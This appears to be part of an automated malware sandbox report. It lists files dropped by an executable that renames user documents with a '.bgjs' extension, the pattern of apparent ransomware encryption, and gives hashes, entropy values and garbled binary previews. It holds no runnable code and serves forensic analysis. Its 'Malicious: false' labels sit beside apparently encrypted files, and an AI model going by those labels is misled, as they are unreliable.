Preview:	PALRGc).:.A.A...7~.46..O1+.'N../.r..k[....!.5u....E...0.0..v.ck..e.....])..A....O..[.sa....a.\....z;p.-.AX..Q&..]....IBoB..$.~Y.K/..6.J/5%...2.)=.u....=.U=....O.Np}.L:p..'\|....w=.e.q....~..M.S...G9....s.y.Z$.......pH(./.M...#.(>.V...s.sU...yc..ya...L...I...nA........x...[s............D.}.3..N!+4.b<..V'....].#.D.....?...\.y\...).....?...3.......F...."....w....=]....)..&.O.Q..\|..e................#.._...9...IB.V.^9...z...-..c...-....J4.p..X.\.7h...h...6..T...3..G4.X..i'..kS.h../L.........9....0..MI.....#.....@`*.VMF......O....B..@..[a......oG2..Y.yljM.x.x.j..)...Ll....DedWNa,.D...=v.,......88..vW.\..mZ.~....v.z.1PO.rP.R+.........?..G.v..J.=pQ5."0.....X.Y!p+.}._... .[.C=.3.Q.GM..Gm\|.J%?twj..$.)...%d/v.G{s....._.n.,.cZ.H.E.......>~.....x.K..@\.V<..KQ5.P....:...Fa........gD7b..._..u..s..w.4.n..9hDQ.\|..::&......A..B...1{..9...P....kP.q.gt.x..,zr.:........nT.....%.~...."..5..hJ..1......"4.c.b...$...V.?...K......$. .F......3..-....&....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860873145258008
Encrypted:	false
SSDEEP:	24:bJhbfPpZ0VK3/LIvN7WjKO3f3Luoo26rA4xJsbD:bfbfb0VK3/LIvNKuM7uSA5JmD
MD5:	CFA6B58C0E27EA983EC65AD9124C42BB
SHA1:	DD574378C28BDDD4D6B230351AD3A1ED152127ED
SHA-256:	5B0406986C1BDC018B4E6E05BBA276FD4CCA4DFFE600C1DBEF9584C3E0C95728
SHA-512:	BC0F84A845431589203F423B8524E8CF712724DA7A448173A194B094D75F3DECD986E158107212BB0DF8D13837077879A2B4292E5BBCACF2307176CF11CE31EB
Malicious:	false
Preview:	PALRG.S.....w2..b5R.'...Wz.g....8_...V.....8=.U..../\|E..gEk.._.<..P..x......Ql....ZMb '.e...-G../"..~w..c......c...3.`..:./.V........j..V.....r.w.'V... ....&C.t..p."..%...E...9....H...Ej....-....n....._...$4`W.E.....h...O.i;D7Z.....H....?.OV...'.L.....,.A..Q.l.(%s.Z..FW.p..{3{K....^.c.R.$.R\|.Z..........7.x5.Y...@...^.C..4.....G.....^..O...z.....o.`.cL.....<.f4.we..r.6.<.%.G.!b..s..k%y....cX..B._h).R.\|...$..x..C....G...?..>O+ph3RF.&.....f,#3_.......d.D....2PL...Y...B..a.H'!.S1(&'...T..D.&ke.g.0..=..l.q...k..L.0.6ff.k._^.....<s..a..4......'>K..W....`...>.P^..iS.......T.....1.0G..].;.R.......~.a..886..+...P.P#=.>.2.Gh.\|j...0.....4.!.L...x....O.>.........f.h[u~.8`o=H..<.A).\..K...i...M....2.v_a.U.O....E...R.0m.ZJ.ml.y^...2..H.0\.,..e.._.AKR...t6..i......1.@.....3Ci.F.p....K..[\|8.......>\....q.!#.Q..X<....GW...\.W...\|.oq.......\.........i..Qw_&..W..D.....Qe...y.x`.......@....%].....>y._..UV.Cr..x}p"Fm..e..n.dU...E*....a..o~.@0....7^..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWZOQIFCAN.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833103045867175
Encrypted:	false
SSDEEP:	24:5RSz+2CU+u89B9d8IuuYNye+Z5KT7r8pz/Q8a2+0vdZR07U9Fok4qr8NEcKxsbD:GCUexdzA+Z5KXriLQ8pRlZR07U7okzXg
MD5:	38D09B3BB3CC748C81EEF4EFFCCBA4E2
SHA1:	36C3F8CAB0316E354D8BC48E07664F06BBF9B41D
SHA-256:	1BAF67089DBEE3A49E8C80DFB1F720017C872C044BAB7916FC9034FDD1313D16
SHA-512:	8DAA70263980782E683D208FA86B8765B0765E7375C746FCF5A19DBC84528B2D24BB3AFEF74D81371172339ACD46895A5B674652FA0AB538D86B14AE77E6E3C4
Malicious:	false
Preview:	PWZOQ..r..#,...J.AO.e..;\|..^..)L{Iq"...!.S.....E,..4Q..[.wij7~.P.`....=<.7x.:2...98w..].7..%....2.....}..'...`.\|A..8.L..L.y..:.... 988t...U....N?.b..O..q).....=....n.~.w..:{u9.$X!-'.G[N........\|..=fsQ.p.7.7...2..b...m.".&.\|..=-?.'..Z3.m.9.......J.....+H.@...o.R..s...z..jA1..hl.i..K.Q..-.......O..O.....b..H P.h2............?...........`b8.g. ./.&F./.KQg.^.....0..l....M<.!...A....u....M..I.....+..r.R../.y)..f.Z.n...~{...Ue./.O..N.bI.A..kf.a.g..;#.]auV..H.....'.8..z.pAb.........k..!7.o.... .=.8.K.zizv.f.\|...H.h7.....4.r.!..ys.50.f:f.vO...\H...2.....2...4._......._lmQ.....a....U.1~I..PZkh.x...`B............n.}..O.....5.k.?...h...9...JY.S._..c.U,.1...0.4LD.......FZ.....a..^}:D.......Tm.U..$EWl.[CvM?..L.h7..q...C.3.'.-2.HQ...9....;.m.,....P..!..\|.,s ..\07.aIn..?.`.-..}.\<w{d.k.^...XW...........Hb.k..r..P......sJ.9.....6cR.0.qP....< .~o(...G.._=..b?...wm@.Z.8..'..........2.....:....06...E.......o.....z6.E..\..FFt.u..6.K1.1x.b.S...O>\|'..1 ......

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841372185212198
Encrypted:	false
SSDEEP:	24:ZpCFHwlVI3H4N9PJ7u9x3xZu4hA++GLUSjvtZeVnnPhfD1oF0/sbD:LEGuoN9laxZRAznPmD
MD5:	9B32EE823F78113ECA6777171651CF54
SHA1:	724FFF741C42AA260EF5CDF2759A6EB269B6A051
SHA-256:	83DE78BEE5B88DA8A8B649371B599BDDCD1A74F09ABB935D292038640C283CFD
SHA-512:	8B6516E0BE6757007BE8A1658BA1A05BB8E871FDA3B9DC9AA6876F3F67D92B41AA6DE566884CCAAEAAE5B10DC3588213F51356545D048AF152DEDA96CADB0009
Malicious:	false
Preview:	SQSJK....f;.x4..F...(u.J.....8%..C....v....K.....H...O..E{.....U....X...X0.._Y..Q..]..d.;.P....Li-...FT....T$d.e).v91.eW.fe..H].!....Q.Qr........[..G.'M....'.z...zv!r-.$.......:.k......Z.....9T... 2[..H=.$..\.}..`..m.8......X.M...(.gq..U.Q%......c.u..}\|............[..(....1m.....$.u...%u...Bf.A....3.....~.R........>.W.....(.I.t...I..,..O.....LUK.rIbwt.O..7.Kw[}.NX.../...!.Le8.`.."D....3${m.q.......>...~9p.{l..$`.....9..cEI........Y...{$....G....,...1......1.i.PA.S.)....D.Da`-.hK.....I....=.>..\|(i.JN.$=...?....O_u...2.U..8pEB..}b4.X...M.n...!.m.?1.......(..nl.......V....%..xl.Mpt. ..}.....<..-.P..9..]..l.$..CH..D.........]e......9u......4m.h...r.+^.........2.+.O.m.}....4.F.....C@.....&q6..X...d..'.....k..RfO_.....2.....&M.,..<<L....c.......,v../._..G2...M.3w.w...m...y.1M.7.LB..J..{....2P.............vwc(.>...H4'............Y..\.9{M..m......`6.5q......2o..-.}....g.`aCV.%\|._.f..4.s..[.....M!....2P.:...Hv..N.a...v..yA..j.+j.+W.

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWKDBEMPGR.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839556130863742
Encrypted:	false
SSDEEP:	24:v6+mIcL0I3m2vFceIMTXBtXoQnUMgRxAR1e+eDClb8mgvN5UqHHbPWyqsbD:v/GoI36C7xcAR1edNrHbPWZmD
MD5:	CDDD5630F70FBE068CA97472B41D17D3
SHA1:	7A97E615454FE506C9D3B6F9A5FCCF0A9021D45E
SHA-256:	CAD56080067687273207B444E447E1A6073378E7E139B63DA949D76B43D4355D
SHA-512:	168E24A276AB4BEEE9650A5828FDE256566D74DCF16A42A912F94B8270E26C78AB47D30D3F39AA9EBE9013F111F890DE84C4100305A61FAAF2060100C0B1AC79
Malicious:	false
Preview:	TWKDB4..!..~O...%..5r.<..a.~+...6.{`L.C.K...h=.\../;U&..\.5.....{...ZQ+.5s`.........$...8x2...}O......s....\.Y..w.(.....0..\..O.is.m.....GB.0.?}..+....r.!4.Z..)....K.j.)0{6.B.T#....dL.`..$.5kyis48K6:../.....j/.+&.U.We....r..G.M:..\9.^.:..lD.;...._1x8.yf.u{p..<..B.....Q...r.q.r..>.oS!Y.....c...>...X:D..{....~i....K.^o ............s..^.A[.P.......l..&:.ImrO.../...].&~....z...R.<.r.........0M.UV..6.c(..2.d(.\|.f....O.L;..x....+.Sb..8...:N.....^.]g......>!..Q.s....T...r..L..P.(w.H..!wQ.....u.=0..n.<.U1.Jc.....#}T...2..~}T...9.3.VOE&..............*_..,....aI...pi.....>W.=z.HT..(4".\|T..y1IF ..}L...{.......4bR.....5.[v1.N..g8........F..a9X@!,.R"..M.S....+..s....=>.c.%...j.j....EC.n...k..B.....Q.v..v..!.~..Q..OQ.{.....}6..k.X.......(1...cCO.X.-E.W...,.......-..0...VQ.{#z...D.mk..!.;.#r.Km...E.cHsD...g^".....`.1......Txex.7....(.X.........,..%.6\....d.........Ek..V^1s...+$.....e.....T.&...T.1..3.g...../x...'Uq..#f..M.&..S.Ze.\..........YMn.../W".V.w

C:\Users\user\Application Data\Microsoft\Windows\Recent\VQCDRUFMUU.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841444297819696
Encrypted:	false
SSDEEP:	24:TCb8QcuGHbbCERWvFbeKAn81w1hRfKn+O3T2taeT9uJgld00RwwJfZJ3zsbD:GYQrGHbzWYjn0k0+O3TcAuxBJDmD
MD5:	04C6C39A3E587497DDA647D767D773BD
SHA1:	DB32E9C4733B9339B4A5A963F4664802A69658DF
SHA-256:	E4804015BD192B52DEAF689BF53B1BD505BAA1842FA800F427F35B9BA5CE71AF
SHA-512:	E158DA745B75AF325DAF4B450C3BAFE54897F2D7FFB2F8C4CF2846FBDB0BE9D535A321DE039A9CBEA1E804BBBA27A90DB2F3523CA2D8DA61626B3EC45EE3950C
Malicious:	false
Preview:	VQCDRE.......9..&F.6....t%.H+ 1.@...>..&.O``.m..L..UX..~:.fQl..V.-........c.Z......<.8cB8@&... .z...^.Q$L..v..l..G..In..w.."@.-. ...K........+.tg7..1J]m...K...]....Wr.O3#..kpR....H....p..YB..D...u...w.........C.m.nY..R..6P.j..Ps...j.....>.........\|78.k.?F.H.b'..7..<.-..K<..L`....l.T.B.e.q..n.x...]?...OJ.0.OD.:..^....vW.q....2..o."....F..~.y..T.Y_.;lfe.a../6..^.n_5{...\U...\|...h...J6.........-.._.............h.j.....;.2.....?k.!l....6#.^;X+.3<..M...:..'7..._..g.'.8..lM.......<.......E.2.L?'k.........~.....[M.)..r...YaF;....g?/T;.B#.....-).0.........>.."..kya4./.#....le`.K...9...dX.#ejC...v...O..f.$...1.:h.7#p.7!Q.mE......R...i....P.`.8..n.i..].h.@6.5.B..F.Z4TM..D..`V.8....L.4..................K......Ga. .%..g'.m..~!..W...[.....<..~...X\_~.X....E..h..V..V.rj...j.'-...f.,/.S...(e.cm..A.+.3.4.]..E.g..I.D<>"..}....)s`d..c..]....a ....d.Q...x.~(,A.P......-..V.....5.l.m.H....Mj.7...l.O..f..N.4..C.y+:....{DfB.....-...E.9.r=..G!......

C:\Users\user\Application Data\Microsoft\Windows\Recent\VWDFPKGDUF.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82926819649324
Encrypted:	false
SSDEEP:	24:TsdvhpOyKFBg8fxBqDkjuElE2k8Eb02Fd9QyaBXG2J44OagIa3nVvRJOY8T6sbD:TsVWywXjV4tQyaBXRJ44+IaVvHO96mD
MD5:	C2AE28DD92298E4F679F7AC449C783EC
SHA1:	EC481DC56625E00B67C8D1184BD533E8A5C0A8BC
SHA-256:	2E2ECAFCC38F37E4949A93D16387E5CC5333E3C7BD92EE6A473E07EFA550851D
SHA-512:	E7453E3F8301223AF6AAFBE54628648D580F0D566C855A795B3ACF7CF0E31F1891BA4693DE07BFD6788C0EA92BC6104838C82AD045C62DC08D17AEF3BA591DA8
Malicious:	false
Preview:	VWDFPd.LY?......0....!}.c...du..w.....9t...../e.'H.D..)."O.l.!.]..@....eR].J.A.........M..j8"..B....h...uG..Y.E.~~~...jR.&M....G..2..=t...X..TzH..cG(..p.d.Y...?...3........6.4..S..._Clp=...wP.8..6...(.J.GZD......Q..yycZ.o...7c.-..CK.q..X........]2{O7e..."...X.!.X.e....,N[W_d....... v...AF..@....w.t.0N....dO.\{.h.U....1.`....$.....J.m...`....R..O.E.w.].uy.../....9....T..31.........0.P.\:o\....c~1.........Zbf..J.....;.N.R7....f.c..:\|.....s........ZK,i.Av{.....3..$.R.Md...J.J..n...j..mt...t.b....a.ST..d......[/../H..WQ Q.w.-k.(.....d$...P<s.Gi.9t.{..zK.g.M..\....a.N.......vg...(..c..G01.gZ.......D)..?.s..?....(......@fX.Zih......(i.\|.......,...h0K..x.".d.../.2.[r.x-e=..df.g..\0z.f.Z...`...OQnX.%.G#.\|Z..F....Cy.t.$......H5.QE$=......v...8gn.}....PQ.6.K....$e:..E.\|;.8e....Z...@ x<^.r...c.^.aY9......_...s......vZ*.6...........!}W..~..2......xLgW....r..`...B..4.I.q.6MU...A.4......}.\|.Q..^0.M..B..v...G.....L3.t,.R.eHC&0..:.$..$.s........j.n

C:\Users\user\Application Data\Microsoft\Windows\Recent\WHZAGPPPLA.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858203277872599
Encrypted:	false
SSDEEP:	24:BCLGzR1ag3f/+otRSR+MbhmBku+MRu/onKYZK9D2lks7HPVMwxsbD:BRCefj3++MXxQvZ2D2l5DPVMemD
MD5:	02B8B13926AB336629B5AF852C364DCA
SHA1:	36668BC747E98FDC96F535FEC08F7B2E2D69380C
SHA-256:	F4322A093B1F3B469D47C29D1FA00DC7AEB4B88A4F5B2CD129CF6EA5D14CFD48
SHA-512:	46879A6CF904CBCFD6F92016926CAB41B2D620FE0F86474B764104084799FAB98EA183FF3C54B24C6825999110E11421BC9CA5504F3FC49996137F8F39357A15
Malicious:	false
Preview:	WHZAG...z..i..$dm.....lV......'..0.[wb:v7H.P....x....T...<.>N.2i....U....OX..f~.....O..h..?....."..z."..v..../.B..E-.#6cH ...k...%....I..F...Y.D.un3qF.n'.."CC...c..~..c.y.G.,4...;.....>.,.O.....}z....<.G.h.....>..{:R\b.vY..e&.l.....#...2.3..}E.c.tZ...S}.?..TU=.e..r...4.3v.i&......H..{.L...,m.:.Yt..jw.=km.1.Ria.".%:....\|...K.^.M.RX..:.].j.....%.q..k.../g+..J<N.i.}S.....d<..uyj...._.#.+$Wd.w2.hN0^...r.JOq.gF.z.."..:b..<Q...S...uP.j;...Z..,_Rh.VM..Nk....?..k...I.. .{.6..f.?..VJ.K:......(._.."..t.....Y#.BFv......o..LA.~\|..._an.X.jF<....3..7..mk...-3e%3...1..%.`U.........C/..e....Ml.=.}@....t.... ..C..v..tv.....o.}..=\..IC..k....B..Gm..D^g.....d....c..........-..>.G[..M..4.......6I(\6Dt.....T.4.#)xR..t(.r..U..5R........b.]........2.H..?....h!..$.@.E.~N.6.P.....j0.yX.5..H..u....?.eZ..I.Xf...g=.v\.....3.c.{.Y.\|.-K...U.C..H...S....<..U.!.x+...,.R.\|K1..}h...p...7.B....(AP..O....F.t.N.1....E..m.n.. m...{X....Y.F.FN.%.....-.....T..[EP@<.....j<e:k5.8^=

C:\Users\user\Application Data\Microsoft\Windows\Recent\WXDORXTPKQ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86933247493433
Encrypted:	false
SSDEEP:	24:JV8Ml2QkbmNdEKAtKBOZdq50BnhPsIWML9UUQss5oZ2DyVYZiNSwF7HS4b8sbD:wMlFkbmNJSKBOZdq50BhPsIQ1s+oZuy/
MD5:	30156BC7B741149902712A52C941AE44
SHA1:	271B900214D7144F631E477B6D8F9BE26241244C
SHA-256:	EF18AFC41B00653869E1E0BCAE87C1984F585FE5700BEB640A89B04A7042A322
SHA-512:	A4A4430A0763AAD7E72D6FA63315DDACBFFA45F4A46F4DEDACEB209EE01DC1B2D6CA2CFDAACDD7FE09E2793AD521916946E87B88BEA72C9E9A40A887A82BBC57
Malicious:	false
Preview:	WXDOR...m.nkn.....<..i..0......s..#.r.:...0..I.S.BO./.w..q.._;.Au3[.v(..._M..1...`.(.'...#.mZ)....6....4dl...Bi.....\|...e.5.`.M_^.tZi........>..$l@V.....%...a\.1...5.#.L>.-I.N.Sy..`.i....R{..........c/ha4.....<..\........o.Kk.I..9T....E..6a.IX...3%..".D.......]...+....@.....b.R]..7..7C....X.uv..m/. ....Q<z3..b+........X..8...M$......F&.@...;-Y{^kw.......f.}k...`.\|.g...."}c...>Z.P..0'.F...1.s.......3.K..........!.:Mo..E.g.Q.P.d...,..`.r..%..V...8..i..W...XDRI.0.M........T%2...q...a...2..c5$T...$s...:UL......"N ['.'j.........$?QN.)...S.w....,....4"6.V..h..u.6..d ...[Kr.p..............Xe..R.h..oN..Q......x<;.F....l&..l.....TT.<.KK........j....%.g\|;.......5...{3.d...>;..j..^......Hi......2%A}......&/k.C......~..(..x..I.(][?X..[jVGmr....O... 9D-.`G#....z...cL.......~-O=.u...,i..(....g ...U.....p..jrN=....K.D..L.!U.\|..Gup3..?+1FIXGL..`1p.=I.4...X...Wd.*.,O?.p....?b.<.I....B.....w]d..U;.eo.I...&...{.%x ..^R...,....8h>.>+U..[.(...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8557829321869175
Encrypted:	false
SSDEEP:	24:ZbMaWN+iR9lqjjOP5yX0vC5cxtdotq5nPzxz6rGPwsxn9TFezDSp5aFlVfsbD:mhN+kmjjOPTlxn8qr6QBiR1mD
MD5:	CB9DF96C79727A46B48FC54B5B1D74BF
SHA1:	277EFE8964F92A4C37458CE9851583EDD7BBF379
SHA-256:	B68F8C88EFF22220453A2560A101FF6983A8591C099F5DC0B5FE67DD9D58643E
SHA-512:	1B6BD81E5E6704114B63CCED2D1B8C5C17EFECFFE503F2369C488CE50A0FB9B42D4B1923BE01A980029E345E7BF6DB00B89E3959F6BBD51352FB812F8321039D
Malicious:	false
Preview:	ZGGKN+.g..J'Z......R.JY...(`.^..tg&......#.....K..:....9MY.......rU.....)........2..\...Vw?al%.}..Y..Fl..J..U."........v.7.....C.zy..".v$.....!......:."....xe4..`.h..n.vT.,!....7.T..]C..Ms....g...sK`..&......p...3..1..>.....[...wj.....G.eF....Db...=...nR..i......".=}W.A.8.L..GDR#.G.s..aL.F.E..K.V..4.^....:...:..2....h.M.<hY..]bG...dX...".......p.)..."..?V...$....m.i..G..;b.x...bbz..%..j...x.-..j..~fBe6.i7%.c..H..E.h..P..4....wR.(..Aq...X..U..zH..Z.m..........h.r/ E..K.W.b...k..xb.A..Y...JH....4.^.@#..p.Q.........~U. ...2.....4...........!.7\r.`;&i...B=7..s,....{.h..]UxB.wL5.\|F..M,....d.0) W}...{.........!{..ji.U.~H{.{.Y6."/...T..G..R...9....)...d...m.c....M...7%.{.............^..-.....<.Q..o./.....{.^.N.].....%.7..<(0....Q5.....Q{..\...P.K.M0.y.Oe._..lB......k,K-.a..LN...%....!....g...x'...9.mp."\|.m..o...kO1.!..N.{d.U...;.....q.U).}3.fx."i3y........1+...~...> .kES}_Za{M..?E.inAua..F..^T&9.....0.Y..+.F?..+......&..^8i.!...-.:..... ...&.V.n:..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856547435429911
Encrypted:	false
SSDEEP:	24:UhpyZA9d/UkbwQxmr0ImxfJmM3fy4LZLF8nTZI8hZdpkRUVVubCQcDz4+CiJsbD:UhpDBbwQxmr03AM3f1ZL98hZdaREuGQT
MD5:	7AD9B3349F5903422B8A8EB4C98734FD
SHA1:	67F9F86CCF3582A7BF49F55C9C3FE572D30E029E
SHA-256:	9468A53FCA107AC285F449D91DC814A93DFFF990CEEE8D23B41D98BB91BE8567
SHA-512:	5E3704C29B38D32E54BF19CDE378794436F17D1417952FD52EBB8B9305C922E24BDAA2FDD776457DB3BC1D50C986761BBD88691B43964A7C8E8A00D674F64AC0
Malicious:	false
Preview:	ZIPXY...2.....Q.R...VQ.:.....U9Hk..4P~$.M....+.....{.O.........-.6...=..2J,s..LP4........#.m.EX.(A...L....H5.C..N.kT..0a..kZ.>...h...Z.........I.E.L..z..by9Ysr..T-....<.@.....w...@....g9._..].FX.W.e..P..q.=.I.vQ..R..{@.z2;X.......5..Am.....S....d......uWI.....k[.g,..$.e.p...;.%.N.[.....&b.7..=.......:.c3....H...>...^...E...._[T Vg..=.9...c.....C......q..8..z./.-IsP. p.!..].umw...Z.$...w5En..Um.H.iT..I.........q...,=...~$.%....7Wv..Z%......W..j.x7j.I.+..K.....P.<b..E.P.rGXH.PFwE..h..Xw.. .....c.Q-........U...Y.}..!..l^2.z>i)>~.-yE.p.w.Ig.t........f...0..;.'[.y>n.k..k..........KKLyO.../F..c....Y^{..!...{.u...=.].!48..R...i%..d.9C`......xx.....~....&.wh..a...cH.....L%...8......pJ.....0.f.......,~w.aJ.N..-:..M.}t....3......../.l..U.].H.,....ZEd........\|..g/q.Q..F......(0...p./.3-S......a.h.V/)..V&..l.*?..?.......(.U..{..........U.N._.s"..1R.D.o6..{.Y.S....Y..l.=n./R....8...@c..bl.s{.....e..5.i..a.L....~q.].....D.z..... e..&N....O...-..d.Z..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858070421693941
Encrypted:	false
SSDEEP:	24:EYSCuOrYADCBLZmnCMmWcST5JqcwLAXmAaXfMaqMAYOl58jw5gfsbD:EYSCus2NkCMp1JqtqFa0aqMU2mD
MD5:	8D1D2324A22DE6E11AC051D12B5745EB
SHA1:	A36465BD19E9AC838C5CE2B39C9ADC6416DFB6E5
SHA-256:	B994690F53972E30AACB844A1E06A3A8A28399D7662E584472AAA3110B929E5E
SHA-512:	C1317844F76268A4D89AB14994A8F3F1730E53B0F762F9879670299AC3481680574F0120EF4282C65648D2127B030ADFC7F65D5646C96A0E0D186F9229CD3E40
Malicious:	false
Preview:	ZIPXY..........vy..L....._!......;.E....b.K."..n..z....o...#...X3.5}.xny..4.-.\5s...zy.tP2L>......B4.. .5t..g.f,.-Fk....u..D....L.dx..{..).HA..Q.Gm.........l&..h...w.!r.....C..^..T.ZD..+.C.\|2s...K.'r......k..j_c=d.fU.3.......z.xu....o..'....5...sK.}`i..@.__.".x.U..;.r...D\.....".XS.D..H%kP..\|...xF,..m.......!>0bU.... ...=..A..g........@e`v...!....G..?.......~....9X8.X3Lzk..d?.....].3.A....q.......D...mk8.]p...3,.y...4)[<.Z...]vX.{...(..x.Y9+.o,.}.M..e^....p.x`..?.....:...Z}7.j&$.........V...^.3...T:.d8....kBX..Q.?...ib...P..2.5y.Tj"<...mk".a...kcl.g..K....0c.s..z.....+.s...?.......T.2..F...e...A.....z....j...m8.D...Q./<Z.X....U...........vg....7..p\~.h.....z..4."..[-(.j.@b.\U..35&(.#.Y.o.H....$.Z4.Q..K......y.....!....@.......=.\....D......g.h_4..:. .w?L.x.......x'J....#.{m8j.$.Z..S.zB.7f... s.7..,K#n.h...ON.s~(........4.>..^E..W.zE......p...,.R....ea....c..:..........5E.....Lr1...J$.B...'..7.2..%Lz.U.>...[..116..u#`"...?".

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZYMRZWDQUM.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859531880889392
Encrypted:	false
SSDEEP:	24:VeTDJJKxV6G+UCvz87J34rev6zGUOkDA/K7hemIaDuKohIUOMA0b/8c90ZsbD:VEiKUh7JMzGRKl8d6k7/RDcZmD
MD5:	A73B87EDDFEB885921A273C680757B82
SHA1:	0582B17590C7AF342DF9E22582538E55238FD09E
SHA-256:	C297C9B5A5CADE5580B590B4D60368D021CA0C75ABF8E83FFED15860624932A6
SHA-512:	80F6434A5E8138CB1849325F2F0B151077723623C31E9E5915E29A9F4EC6DED994E3B74FA285A7E06B9E98E429FF6E25822813B1E4FF5773E92C28E51EDDC368
Malicious:	false
Preview:	ZYMRZ.8...L@.E._..3..$.!.'.\|..x...&'C.rK_.f]M.j'_.:....I{z..Xg...0._?....OU.If/7..k.?.e..gn......=....tg~......1O.}.e\.#aH2q..5(......^.Cg...X..\|.KK.....n.!...!...b..4;..6.\|l..gJ.....9.2.<.ZIS&x@.......zI$&.s.c....N..;.wv...R<.[.......T.b...k.....h...Vt..MYrf.H..M...u....K.\|k.......f....7h...\.jw.....u..^.nn.!.4.J~..0...d.s!\.Ak...-.6d..Q1.v?!LX.a9.K...PI./.q1..Zg...=.m.....`..>.\...`i#\......i.....K..=.........w.(~... ... .YO(7..y.._d...6.\|]-..^........5.......>.Q.O6.....F....4fu.QdN2...2.... `a..x......@.P..l...........s.zgN.....+q.%-..C.Gf.8]..+"..)..r.>6.M.N..j.........M.i..!.......G......1p..Z./CCb3.......(.V{..U.6^E\.tO$....S.yz...^.;4.%..%...!0b....Ge........@.....F.C...X2.>_..=._..G~`.u.^.(<.T0.-..x..ol...x+d.'.V..&.&&f.T.ihu=.@.ZW...>9.Qf..pec....Nmq..F..'.Na\|.=m..._.c...k.Xa.W!...{.\|."E..'. .../....d.;;....c..nG..N....7K..]..<.$.......H.E~.Y....J....w.0..I..ILk.:.F...+h...~n/...=c.[...../..E9=.e.*.w...k..NO........M..kV.BS..x

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835650630208608
Encrypted:	false
SSDEEP:	24:X9b9UT9GnGxboLUw96+cNfENjZIlvlnB0XZU/Xo/fQQDfmOJhz8SaSsbD:Xt9RnW8LU3NfU2tB0XZAAoQD+xEmD
MD5:	0DACB0C04916834C195FD392238F6147
SHA1:	D7CC519351D2BA24688E52E31DD6B5B04440F8AD
SHA-256:	857DED8E822218F80050D1C4B8DD860B6A81A96ABC075BCD78701C845255640B
SHA-512:	D2738C32F8C05B02B1DAD880ADA854F6A190F7C5285516B44D3C62D6914986D67AE99D70D38CEF69195601977F2AF37F700B53ED959B20E2CDF2439124AC1C87
Malicious:	false
Preview:	BJZFP%x.#.Y.4.".:\...wJ..C....i.....W.B.... c....9B..C.....r..J.6.O3t..\|.........r...].?...U.NBH.EW?.\|..g..mk#....x...CCA. t..-..... ....E.....c....'...?....Ft..=..}..#;..P...b...........pT...s..ca..J\|.V...;...%.0...0\|.:Y.y.s......._.q..)....f..c....2X3E%..6GG.#...n6.j.....X. .L....^.K.-Lg.Bz9.j..<......z...C....q..r.p..\|......JaJ.7Z:D.....j5...L.x._..!.5o.e....4..e.u.L.o...:.C0...D....]l..y.]A..K..6@......Ue..uh.[J..=.....PH\|l8DUS...D...ks.7s..j>.fw....x..H!q...;.:.9...%.N.....J.w).Xra2.hPv.q..-.8.a..].F..C..@..%S...0.cR..u..%}h..r.J.....d......Zi...4o\..8.e7.=.R..v..qK.........W.eH).D....!..../........-..w.&.B}...Y\C.@6 .[S..5....b...s.....h...._T7........I....KP.....{.,..%U.....8....i'7.w.L0.Z.Ro..gZ..\.Ai..Y.8.......T..2M...}xU..r:K.;....l).^.........oG..%.r......EM.<.F..j.w.ai..#".(..0.I+....8..2...=2Tnx.g.[0....LW..V..o.'.CEN\|m.....v._.e^y..G.s4.C...(Z..M.Y..v.1.>%..T......{..0.....&j.....?..w..7...S....'t.u..V.4.N......*Gf.6...Y..Q.

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835650630208608
Encrypted:	false
SSDEEP:	24:X9b9UT9GnGxboLUw96+cNfENjZIlvlnB0XZU/Xo/fQQDfmOJhz8SaSsbD:Xt9RnW8LU3NfU2tB0XZAAoQD+xEmD
